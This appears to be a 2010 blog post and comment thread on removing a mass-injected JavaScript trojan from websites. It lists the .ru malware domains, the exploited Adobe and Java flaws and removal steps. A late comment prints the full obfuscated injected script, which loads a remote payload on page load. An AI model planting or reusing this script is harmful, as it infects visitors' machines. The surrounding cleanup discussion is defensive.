/*LGPL*/ and /*Exception*/ trojan Removal script, Trojan-Downloader.JS.a or Trojan-Downloader.JS.b or Trojan-Downloader.JS.c or Trojan-Downloader.JS.d cleaner, cleanup, Downloader worm removal. This script removes the trojan code from all files on your web server. Updated Jan 30, 2010
Clean-up script for sites infected with Downloader worm( /*LGPL*/ or /*Exception*/ type script ).
As we all know there is a mass attack of /*LGPL*/ and /*Exception*/ type script on websites. I have seen plenty of websites infected with this type of infection and finally I decided to write a script to remove the codes inserted in files all over the server directories.
As a new version of /*LGPL*/ and /*Exception*/ is out in wild. The code inserted in web pages after the BODY Tag or at end of Javascript files looks a bit like.
The SCRIPT tag above is not present in javascript(.js) files.
Well it is just another type of IFRAMER worm. Once deobfuscated, it loads javascript from [http][POPULAR-DOMAIN-NAMES].easylifedirect.ru:8080/[POPULAR-DOMAIN-NAMES]/google.com/
This loaded Javascript then loads an iframe with src which contains actual payload [http][POPULAR-DOMAIN-NAMES].easylifedirect.ru:8080/index.php?ys
some urls may also have "thechocolateweb.ru" or "tartband.ru" or "bestbondsite.ru" or "trueworldmedia.ru" or "avattop.ru" in place of "easylifedirect.ru"
The major files infected are
Javascript files .JS
index files such as
index*.html,
index*.htm,
index*.php,
default*.php,
mainframe*.php,
application*.php,
default*.html,
default*.htm
index*.asp
(index*.* and default*.*)
The javascript code seems to be changing since the day it launched and today morning I noticed that they have removed <script> tags in javascript files.
The payload hasn't changed much from last year's attacks. When one visits a compromised site, the malicious JavaScript loads more JavaScript that contains an iframe tag, which opens another page containing two links. One link goes to a PDF file, which is detected as Trojan-Downloader.JS.a or Trojan-Downloader.JS.b or Trojan-Downloader.JS.c or Trojan-Downloader.JS.d. The other is to a JAR (Java ARchive) file, which is detected as Downloader.
Those two files use the following vulnerabilities to infect the computer with malware:
* Adobe Acrobat and Reader Multiple Arbitrary Code Execution and Security Vulnerabilities (BID 27641)
* Adobe Reader and Acrobat 'newplayer()' JavaScript Method Remote Code Execution Vulnerability (BID 37331)
* Sun Java Runtime Environment and Java Development Kit Multiple Security Vulnerabilities (BID 32608)
The final payload includes malware likeTrojan-Downloader.JAVA.Agent.al or Trojan-Downloader.JAVA.Agent.exe or Trojan.Bredolab, Downloader.Fostrem, and Trojan.Zbot, along with security risks such as PrivacyCenter and a number of other misleading applications that may be detected as Trojan.FakeAV. It's important to keep your definition files up-to-date as these files are frequently being updated.
REMOVAL STEPS
1. Block these websites on your firewall or router: "thechocolateweb.ru", "tartband.ru", "bestbondsite.ru", "trueworldmedia.ru", "avattop.ru" , "easylifedirect.ru"
2. Update your anti-virus and clean up infection from your machines or whoever is accessing it via FTP
3. Change the ftp password from secure machine which is not infected
4. upload the Manual Trojan Code Remover script to your public_html directory
5. run the script by calling the php file from your browser
PRECAUTIONS
1. Block these websites on your firewall and/or router: "thechocolateweb.ru", "tartband.ru", "bestbondsite.ru", "trueworldmedia.ru", "avattop.ru" , "easylifedirect.ru"
2. Keep your Anti-virus updated.
3. Do not open any suspicious links received on messengers or emails.
It will clean up the files and will also create a backup of files which are infected. (backup files will have extension as .infected.bak)
Looks like they are changing the signatures too fast. So I have made this small tool so that you can manually remove the vius code.
Instructions:
1. Download the Manual Trojan Code Remover and unpack.
2. Upload it to document root of your website and run the script by opening the url in your browser
3. Now open the any infected file and copy the trojan code and paste in the textarea in the removal tool.
4. Press Clean All!
Thats All!.
* Please note that you will need extra step for Javascript files.
** Also process code in javascript files after php/asp files.
Let us know if you find other signature or codes, We will try to release an update asap.
hey hatem,
you need PHP5+ to run this script.
Please do not forget to clean up your local machines first and change FTP password.
Hi
First of all, thank you for your efforts,
when I put the code and click "clean all" it gives me this message:
Fatal error: Cannot instantiate non-existent class: directoryiterator in /home/content ... /html/trojan-code-remover.php on line 172
How can I fix it ???
Guys , once you clean up your system , delete all the FTP account . This blocks the entry point of virus and malware and it make sure that your file wont infect again.
hi,
please use the tool Trojan Code remover,
You just need to copy paste the above code in it .
It will clean up the code from all files.
Let me know if there are any other problems.
Hi,
if you are getting the infection, one of your machines, from which you are accessing the host is infected with the TROJAN-DOWNLOADER.PEGEL.JS.x .
Please clean up the trojan from all the machines,
Then change all of the FTP Passwords and cpanel passwords from CLEAN machine.
If after all this its getting back again, then please check if something at your hosting provider is compromised.
But most of the times infection will be on your side.
Avoid opening the infected sites,
Avoid opening strange links in IM messages.
Crs
canraps@gmail.com
Hi Sameer,
Its getting all sick :( How can we prevent this from happening :( It infects like every 2-3 day in our server..I use inforapid search&replace for the code removal but im sick of this..Do we get infected because of the iframe ?
I have noticed these signatures,
I am preparing a cure for it.
If you need to send me new codes please put full code of php/asp file and full code of JS file in ZIP and mail it to samiirds[aT]G MAI L [d0t] c0m
Please DO NOT flood the page with signatures.
Hello,
I guess there's a new version of the trojan ...
Is it ok, if I post here the original code ?
thank you
just remove following characters @,|,^,#,&,),(,!,$ comma is not included in the list
but DO NOT OPEN THAT LINK :P it will load the virus payload and your machine may get infected
Guest
guest@guest.com
How Can I decrypt below string:
'' + 'k!a(!^t($z!()-@c)@d^.$s^^&u!##n).)&))c#$o!()m!&$.@#(m(()e@)!g)a$#^)u#((p^@@l(o^($a#!)d!!-!c&(o)^m!).&^@b@^)e#@(s@(t)^b##&&o&@n)$d&$@)s$#i@t!()&e@&.@)^$r^$($u#)&:#$M^&&!t$!(w@)$6#!&@7!#r$y!!q$n$#)x)&n)!/!!a)&e)b!(n$&).&&!n)!$#e)t)(#/$$#(a@#)&&e&b&&n#$.^n^^)@e#t(/@g&&&o!!o^!$g!l&#e&#.(&&!(c#!&o$$m$&@/^!(s$@(^t$@a^^r#@&!&t@#i#(&m!@e@$!s()2@.((@!c)&o!$($m!!/@g)&(^o^o)g^#^l#$#@e@&##.$h$^&r^($/^#('.replace(/@|\^|#|&|\)|\(|\!|\$/ig, '');
updated, it should now clean it up properly.
Just let me know if there are any errors.
Guest
guest@guest.com
This is new Signature:
try{window.onload=function(){R8kdhyzzae2j = '' + 'k!a(!^t($z!()-@c)@d^.$s^^&u!##n).)&))c#$o!()m!&$.@#(m(()e@)!g)a$#^)u#((p^@@l(o^($a#!)d!!-!c&(o)^m!).&^@b@^)e#@(s@(t)^b##&&o&@n)$d&$@)s$#i@t!()&e@&.@)^$r^$($u#)&:#$M^&&!t$!(w@)$6#!&@7!#r$y!!q$n$#)x)&n)!/!!a)&e)b!(n$&).&&!n)!$#e)t)(#/$$#(a@#)&&e&b&&n#$.^n^^)@e#t(/@g&&&o!!o^!$g!l&#e&#.(&&!(c#!&o$$m$&@/^!(s$@(^t$@a^^r#@&!&t@#i#(&m!@e@$!s()2@.((@!c)&o!$($m!!/@g)&(^o^o)g^#^l#$#@e@&##.$h$^&r^($/^#('.replace(/@|\^|#|&|\)|\(|\!|\$/ig, '') ;Rcwzfmk0ihf2ax = 'appendChild';Bxa92u9w2npg = document.createElement('sc'+'ript');Bxa92u9w2npg.src = 'h'+'ttp://'+R8kdhyzzae2j.replace(/Mtw67ryqnxn/g, '8080');Bxa92u9w2npg.setAttribute('defer', 'def'+'er');eval('document.body.'+Rcwzfmk0ihf2ax+'(Bxa92u9w2npg)');} } catch(H46nwzpj ) {}
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